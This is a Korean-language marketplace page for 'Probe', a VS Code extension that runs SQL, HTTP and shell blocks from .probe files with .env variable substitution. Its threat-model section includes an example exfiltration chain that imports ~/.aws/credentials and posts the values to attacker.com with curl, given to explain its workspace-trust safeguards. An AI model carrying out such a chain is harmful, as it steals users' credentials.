VS Code Extensions
Probe

Probe

by crazywook

.probe 파일에서 ```sql / ```rest / ```sh 코드 블럭을 실행

Downloads

2

Rating

(0)

Version

0.0.4

Last updated

Aug 06, 2026

.probe 파일 하나에 SQL·HTTP 요청·셸 명령을 마크다운 코드 블럭으로 적어두고, 블럭 단위로 실행하는 VS Code 확장입니다. 스크래치패드처럼 쿼리·요청·명령을 모아두고 버튼 한 번으로 돌립니다.

## 사용자 수
​```sql
SELECT COUNT(*) FROM users;
​```

## 헬스 체크
​```rest
GET https://httpbin.org/get
​```

## 배포 상태
​```sh
git log --oneline -5
​```

각 코드 블럭 위에 ▶ Run Query / ▶ Send Request / ▶ Run Command 버튼(CodeLens)이 뜨고, 커서를 블럭 안에 두고 Cmd+Enter로도 실행됩니다.


기능

  • .probe 언어: .probe 확장자를 전용 언어로 인식
  • 블럭 실행: 마크다운 펜스로 감싼 블럭만 실행
    • ```sql → 로컬 mysql CLI로 실행, 결과를 "Probe SQL" 출력 창에 표시
    • ```restREST Client 확장의 Send Request 로 전송
    • ```sh (bash / shell / zsh 도 동일) → 셸로 실행, 결과를 "Probe Shell" 출력 창에 표시
  • 실행 방법 3가지
    1. 블럭 위 CodeLens 버튼 클릭
    2. 커서를 블럭 안에 두고 Cmd+Enter
    3. 우클릭 → Probe: Run Query
  • 변수 치환: 문서 상단에서 @import ./vars.env 로 값을 불러오고, 블럭의 {{KEY}}를 실행 직전에 치환
  • 안전장치: 닫는 펜스(```)가 없는 미완성 블럭은 실행 대상에서 제외

요구 사항

대상 필요한 것
```sql 블럭 mysql CLI (PATH에 없으면 probe.mysql.path로 전체 경로 지정)
```rest 블럭 VS Code 확장 humao.rest-client
```sh 블럭 없음 (기본은 $SHELL, 없으면 /bin/bash)

셸 블럭

```sh 블럭의 내용은 셸에 통째로 넘어갑니다. 여러 줄, 파이프, 리다이렉션 모두 터미널에 붙여넣은 것과 같게 동작합니다.

​```sh
cd api && git fetch --quiet
git log --oneline origin/main -5
​```
  • 작업 디렉터리: 워크스페이스 폴더 → (없으면) .probe 파일이 있는 폴더. probe.shell.cwd로 고정할 수 있습니다.
  • 환경: 기본적으로 로그인 셸(-l) 로 실행해 .zprofile 등 프로필을 읽습니다. 그래서 PATH와 alias가 평소 터미널과 같습니다 (probe.shell.loginShell로 끌 수 있음).
  • 중단: 오래 도는 명령은 Cmd+Shift+PProbe: Stop Shell Command 로 끊습니다. 파이프로 띄운 자식까지 프로세스 그룹째 종료합니다.
  • 출력: stdout/stderr를 "Probe Shell" 출력 창에 흘려보내고, 끝나면 종료 코드와 걸린 시간을 찍습니다. 색상 이스케이프는 제거합니다.

대화형 명령(vim, 비밀번호 프롬프트 등)은 출력 창이 입력을 받지 못하므로 쓸 수 없습니다. stdin은 바로 닫힙니다.

안전장치

셸 블럭은 임의의 명령을 실행합니다. .probe 파일과 .vscode/settings.json은 저장소에 커밋돼 함께 배포되므로, VS Code가 tasks.json을 다루는 것과 같은 장치에 맡깁니다.

  • 워크스페이스 신뢰(Workspace Trust): 신뢰하지 않은 폴더에서는 ```sh 블럭을 실행하지 않습니다. 실행을 시도하면 신뢰 설정으로 안내합니다.
  • 설정 주입 차단: 신뢰하지 않은 폴더에서는 probe.shell.path, probe.shell.cwd, probe.mysql.path워크스페이스 값을 무시합니다. 남의 저장소가 .vscode/settings.json으로 실행 파일 경로를 바꿔치기하는 것을 막습니다.
  • 확인 창: probe.shell.confirmBeforeRun을 켜면 실행 전에 스크립트 전문을 보여주고 묻습니다. 분량이 넘쳐 잘릴 때는 잘렸다는 사실을 함께 표시합니다.
  • 자동 실행 없음: 파일을 여는 것만으로는 아무것도 실행되지 않습니다. 항상 버튼이나 Cmd+Enter가 필요합니다.

폴더를 신뢰하면 그 폴더의 워크스페이스 설정과 셸 블럭이 모두 활성화됩니다 — 신뢰는 "이 저장소의 내용을 확인했다"는 뜻입니다. 남에게 받은 .probe는 신뢰하기 전에 읽어보세요.


변수 치환

문서가 자기 머리에서 변수 파일을 불러오고, 블럭을 실행하기 직전에 {{KEY}}를 그 값으로 바꿉니다. 값의 출처가 문서에 적혀 있으므로, 파일을 받은 사람도 같은 결과를 얻습니다.

@import ../.env          # 프로젝트가 이미 갖고 있는 값
@import ./db.env         # 이 문서에 필요한 값 추가
@import ./local.env      # 내 PC 전용 오버라이드 (git-ignore)

## 사용자 수
​```sql
SELECT COUNT(*) FROM users WHERE tenant = '{{TENANT}}';
​```
  • @import <경로> — 코드 블럭 의 줄 시작에 오면 지시자입니다. 문서 어디에 있어도 문서 전체에 적용되고, 관례는 첫 제목 위 최상단입니다.
  • 여러 줄 = 겹쳐 쌓기 — 뒤에 온 파일이 앞의 같은 키를 덮습니다(later-wins). 얕은 키 단위 병합입니다.
  • 경로 — 상대 경로는 .probe 파일이 있는 디렉터리 기준. ~, ${workspaceFolder}, ${fileDirname}도 쓸 수 있습니다.
  • 형식은 .env(dotenv) — 프로젝트에 이미 있고 이미 git-ignore 된 파일을 그대로 씁니다. 중첩 @import는 지원하지 않습니다(.env는 dotenv 형식이지 Probe 문법이 아닙니다).

examples/variables.probe에 동작하는 예시가 있습니다.

토큰 규칙

  • 문법은 {{KEY}} 하나. 내부 공백 허용({{ KEY }}), 키는 [A-Za-z_][A-Za-z0-9_]*, 대소문자 구분.
  • 재귀 치환 없음 — 값 안의 {{X}}${X}는 리터럴로 남습니다.
  • 리터럴 삽입 — 인용·이스케이프를 자동으로 하지 않습니다. 어떤 문맥(셸 문자열 안/밖, SQL 리터럴 안)에 들어가는지 알 수 없고, 잘못 추측한 자동 인용은 조용히 값을 바꿔버리기 때문입니다. 여러 줄 값은 따옴표 에 두세요.
    echo "{{PRIVATE_KEY}}" > /tmp/key.pem   # 따옴표 안 → 의도대로
    echo {{PRIVATE_KEY}} > /tmp/key.pem     # 따옴표 밖 → 줄바꿈에서 명령이 쪼개짐
    

```sh 블럭에서 $VAR셸 자신이 프로세스 환경변수로 해석합니다. 역할이 겹치지 않습니다.

curl {{BASE_URL}}/health -H "Authorization: Bearer $CI_TOKEN"
#    ^^^^^^^^^^^^ import한 파일의 값        ^^^^^^^^^ 실행 시점 셸 환경

러너별 적용

러너 치환
```sql ✅ mysql stdin으로 보내기 직전
```sh ✅ 셸에 넘기는 스크립트 원문
```rest 치환하지 않음

rest 블럭은 예외입니다. Probe는 블럭 범위를 선택으로 만들어 REST Client에 넘기기만 하므로 텍스트에 개입할 수 없고, REST Client는 이미 자체 {{var}} 기능을 갖고 있어 이중 치환이 됩니다. 문법은 {{}}로 같아 보여도 책임 주체가 블럭 타입에 따라 다릅니다sql/sh는 Probe가, rest는 REST Client가 채웁니다.

미정의 변수는 실행을 막습니다

{{KEY}} 중 하나라도 import한 파일에 없으면 실행하지 않습니다. WHERE id = {{USER_ID}}WHERE id = 로 나가 전체 테이블을 대상으로 하는 사고를 막기 위한 것이며, 여기서는 타협하지 않습니다. 부분 치환은 없습니다.

  • KEY=로 정의한 빈 문자열은 미정의가 아닙니다 — 치환되고 실행됩니다. 키를 미정의로 되돌리는 문법은 없습니다.
  • 문서에 {{}} 토큰이 아예 없으면 import가 깨져 있어도 실행을 막지 않습니다(경고만).

에디터에는 진단으로 바로 표시됩니다 — 실행할 때만 알려주면 문서를 쓰는 동안 오타를 모릅니다.

상황 표시 실행
{{UNKNOWN}} — import에 없는 키 토큰 위치에 Error 차단
@import 대상 파일 없음 @import 줄에 Warning 토큰이 있으면 차단
import 경로가 워크스페이스 밖 @import 줄에 Warning 허용
같은 파일 중복 import @import 줄에 Info 허용
.env의 닫히지 않은 따옴표 .env 해당 줄에 Error 그 키는 미정의
.env의 해석 불가한 줄 .env 해당 줄에 Warning 나머지 키로 진행

import한 파일을 저장하면 진단이 바로 갱신됩니다.

로드 상태 확인

@import 줄 위 CodeLens는 전환기가 아니라 로드 상태 표시기입니다.

┌ db.env · 변수 4개
@import ./db.env
  • 클릭하면 이 파일이 정한 값과, 뒤 파일에 가려진 값을 보여줍니다. 여러 파일을 겹쳐 쌓을 때 "지금 실제로 무슨 값이 쓰이나"가 가장 헷갈리는 지점입니다.
  • 파일이 없으면 ⚠ db.env 없음으로 바뀝니다.
  • Probe: Show Resolved Variables — 병합된 최종 맵 전체와 각 키의 출처 파일을 봅니다.

dotenv 방언

파서를 직접 씁니다(src/core/dotenv.ts). 지원 범위는 아래가 전부입니다.

규칙 동작
KEY=value 기본. 값 앞뒤 공백은 trim
export KEY=value export 접두 허용
# comment 전체 줄 주석. 빈 줄 무시
KEY="a b" 큰따옴표: 따옴표 제거, \n·\t·\"·\\ 해석
KEY='a b' 작은따옴표: 따옴표 제거, 이스케이프 해석 안 함
KEY= 빈 문자열로 정의됨 (미정의와 구분)
값 안의 ${OTHER} 보간하지 않음. 리터럴 유지
중복 키 나중 것이 이김
  • 따옴표 없는 값의 행중 주석(KEY=value # comment)은 주석이 아닙니다PASSWORD=ab#cd 같은 값이 조용히 잘리는 게 더 위험합니다. 주석을 붙이려면 값을 따옴표로 감싸세요.
  • 여러 줄 값: 값이 따옴표로 시작하고 같은 줄에서 닫히지 않으면 닫는 따옴표가 나오는 줄까지 이어 읽습니다.
    PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEA...
    -----END RSA PRIVATE KEY-----"
    
    닫는 따옴표 없이 파일이 끝나면 그 키를 정의하지 않고 시작 줄에 Error를 냅니다. 나머지를 조용히 값으로 삼키지 않습니다.

신뢰와 시크릿

@import임의 파일을 읽어 셸 명령에 삽입하는 경로입니다. 악의적 저장소라면 @import ~/.aws/credentialscurl attacker.com -d '{{...}}' 같은 유출이 성립합니다. probe.shell.path를 게이팅하는 것과 같은 위협 모델이므로 같은 장치에 맡깁니다.

  • 신뢰하지 않은 폴더에서는 @import를 수행하지 않습니다(파일을 읽지 않습니다). {{}}가 든 블럭은 실행이 차단됩니다.
  • 확인 창과 출력 창 미리보기에는 치환된 최종 텍스트를 보여줍니다 — 실행 전에 값이 맞는지 확인할 수 있어야 합니다. 단 키 이름이 TOKEN/SECRET/PASSWORD/PWD/API_KEY/PRIVATE_KEY 류면 값을 ••••••••로 가립니다(probe.variables.maskSecretLike).
  • .env.gitignore에 있는지 확인하세요. Probe는 값을 SecretStorage로 옮기지 않습니다 — 파일이 원본입니다.

설정

Cmd+,probe.mysql 검색, 또는 설정 JSON에 직접 입력합니다.

설정 기본값 설명
probe.mysql.path mysql mysql 실행 파일 경로
probe.mysql.host localhost 호스트 (-h)
probe.mysql.user root 사용자 (-u)
probe.mysql.database `` (빈 값) 사용할 데이터베이스
probe.shell.path `` (빈 값) 셸 실행 파일. 비우면 $SHELL/bin/bash
probe.shell.loginShell true 로그인 셸(-l)로 실행해 프로필(PATH·alias)을 읽음
probe.shell.cwd `` (빈 값) 작업 디렉터리. ${workspaceFolder}, ${fileDirname}, ~ 사용 가능
probe.shell.confirmBeforeRun false ```sh 블럭 실행 전 확인 창
probe.variables.maskSecretLike true 키 이름이 TOKEN/SECRET/PASSWORD 등일 때 미리보기에서 값을 가림

비밀번호는 설정이 아니라 커맨드 팔레트(Cmd+Shift+P)로 입력합니다.

  • Probe: Set MySQL Password — 현재 host/user/database 조합에 대한 비밀번호를 입력받아 VS Code의 SecretStorage(OS 키체인)에 저장합니다.
  • Probe: Clear MySQL Password — 저장된 비밀번호를 지웁니다.

보안: probe.mysql.password 설정은 더 이상 쓰지 않습니다. 과거에 설정해둔 값이 남아 있다면 다음 실행 때 자동으로 SecretStorage로 옮겨지고 설정에서 지워집니다. 직접 .vscode/settings.json에 비밀번호를 적어두지 마세요 — 저장소에 커밋될 수 있습니다.


사용법

  1. 아무 .probe 파일을 만든다 (예: queries.probe).
  2. 마크다운처럼 설명과 코드 블럭을 적는다.
  3. 실행할 ```sql / ```rest / ```sh 블럭 위 버튼을 누르거나, 블럭 안에서 Cmd+Enter.

examples/sample.probe에 예시가 들어 있습니다.


개발

npm install        # 의존성 설치
npm run compile    # TypeScript(→ out/) 컴파일
npm run watch      # 변경 감지 컴파일
npm test           # 단위 테스트 (bun)

VS Code에서 이 폴더를 열고 F5 → 확장이 로드된 새 창(Extension Development Host)이 뜨고 examples/ 폴더가 열립니다. 소스를 고치면 새 창에서 Cmd+R로 리로드합니다.

EDH가 여는 폴더를 examples/로 둔 이유, F5가 동작하지 않을 때의 원인 등은 TROUBLESHOOTING.md에 정리해두었습니다.

  • 언어: TypeScript 7 (tsc로 빌드/타입체크)
  • 포매팅: Prettier (세미콜론 없음, 작은따옴표, 저장 시 자동 적용)
  • 테스트: bun (bun test)

구조

src/
├── extension.ts          # 러너 등록 + 명령/CodeLens (dispatch)
├── core/
│   ├── blocks.ts         # 마크다운 코드 블럭 파싱 (순수 로직)
│   ├── outline.ts        # 제목·블럭 심볼 트리 (순수 로직)
│   ├── dotenv.ts         # .env 파싱 (순수 로직)
│   ├── imports.ts        # @import 수집 + 경로 해석 (순수 로직)
│   ├── variables.ts      # {{KEY}} 스캔·치환·병합 (순수 로직)
│   └── registry.ts       # Runner 타입 + register/getRunner
├── variables/            # 변수 기능의 vscode 계층 (파일 읽기·진단·CodeLens)
└── runners/
    ├── mysql/            # ```sql 실행
    ├── rest/             # ```rest 실행
    └── shell/            # ```sh 실행

새 러너 추가하기

  1. src/runners/<name>/index.ts 에서 Runner를 export
    export const fooRunner: Runner = {
      lang: 'foo',
      aliases: ['foo2'], // 선택: 같은 러너를 부르는 다른 펜스 표기
      label: '▶ Run',
      // payload.text = {{KEY}} 치환이 끝난 실행용 텍스트
      // payload.display = 사람에게 보여줄 텍스트 (시크릿 마스킹 적용)
      run: (editor, range, payload) => { /* ... */ },
    }
    
    substituteVariables: false를 주면 치환을 건너뛰고 원문이 그대로 넘어옵니다(rest가 그렇습니다).
  2. src/extension.ts 에 두 줄 추가
    import { fooRunner } from './runners/foo'
    register(fooRunner)
    
  3. test/runners/<name>.test.ts 로 테스트 추가

러너가 커지면 그 폴더 안에서 client.ts, config.ts 등으로 나누면 됩니다.


라이선스

MIT

Related extensions